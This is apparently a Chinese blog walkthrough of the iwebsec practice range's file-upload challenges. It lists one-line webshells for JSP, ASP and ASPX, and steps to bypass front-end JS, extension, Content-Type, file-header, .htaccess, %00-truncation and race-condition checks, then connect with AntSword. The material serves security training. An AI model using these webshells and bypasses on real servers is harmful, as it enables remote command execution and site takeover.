iwebsec靶场(文件上传)
一、文件上传概念
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是mua,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
二、webshell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录
三、一句话mua
PHP
JSP <%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
ASP <%eval(Request.Item["r00ts"],”unsafe”);%>
<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>
<%execute(request(“1″))%>
ASPX
<%eval request(chr(35))%>
四、靶场地址:http://iwebsec.com/
五、前端JS过滤绕过
1.前端JS过滤
使用JS在前端禁止上传.asp .aspx .php .jsp后缀文件。将JS语句删除或者禁用JS即可上传
2.绕过
方法一:删除属性值,让JS语句不触发 按F12打开调试页面,用左上角的鼠标选中对应的元素,并将其中对应的属性值删除 方法二:使用插件或者在设置中禁用JS,然后刷新页面在上传文件 方法三:使用BP进行修改 在将文件改为.jpg后缀,点击上传并使用BP抓包,然后在BP修改文件后缀名为.php,content-type改为text/html
3.文件上传成功
文件上传成功,返回文件的保存路径
4.连接shell
使用蚁剑连接shell
六、文件名过滤绕过
1.文件后缀在后端进行了限制
2.绕过
等价替换文件后缀,比如将后缀改为.phP等
3.文件上传成功
文件上传成功,使用F12查看文件保存路径
七、Content-Type过滤绕过
1.Content-Type被限制
Content-Type,即是Internet Media Type,互联网媒体类型,也叫做MIME类型。. 在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。. 最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。. 在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。. 它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等
2.绕过
上传文件使用BP抓包,将Content-Type改为不被限制的格式,比如image/jpeg
3.文件上传成功
文件上传成功,使用F12查看文件保存路径
八、文件头过滤绕过
1.尝试绕过
尝试双写、大小写、修改等价后缀等等方法都不能绕绕过 尝试图片ma绕过,制作图片ma Windows:copy 1.jpg /b + glc.php /a glc.jpg
Linux:cat 1.jpg glc.php > glc.jpg
1.jpg为任意图片文件,glc.php含有一名话mua,glc.jpg为生成的图片ma
jpg文件标志:FF D8 开头;FF D9 结束
2.绕过
上传制作好的图片ma,因为上传后文件后缀为jpg,我们无法利用,所以要结合BP修改扩展名为.php
3.文件上传成功
文件上传成功,使用F12查看文件保存路径
九、.htaccess文件绕过
1.文件介绍
.htaccess文件 (或者"分布式 配置文件 "),全称是 Hypertext Access (超文本 入口)。 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有 子目录
2.文件内容
SetHandler application/x-httpd-php
3.利用条件
在此文件中设置 AllowOverried All ,才能使用.htaccess文件
4.绕过
上传.htaccess文件 将一句话mua文件改为.htaccess文件中的文件名并上传
5.文件上传成功
文件上传成功,使用F12查看文件保存路径
6.连接shell
使用蚁剑连接shell
十、文件截断上传
1.%00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
2.绕过
上传文件用户名前缀即文件上传后的名称,此处我们就加上%00 上传后用BP抓包,并将%00进行URL编码
3.上传成功
4.连接shell
虽然文件上传成功后文件后缀中含有_随机数.jpg,但是我们不用理会,将他删除再访问即可
十一、条件竞争文件上传
1.条件竞争
这里指的是文件上传后,会对文件的进行识别,如果是恶意文件,电脑会将此文件删除
2.绕过
当我们快速连续上传,使得电脑做不出那么快的反应,造成文件上出不及时,从而产生文件上传成功 上传文件,使用BP抓包,将请求报发送到Intruder板块,清除所有payload位置 点击载荷,选择没有payload,将攻击次数调大,点击攻击
3.文件上传成功
发现漏网之鱼
推荐阅读
发表评论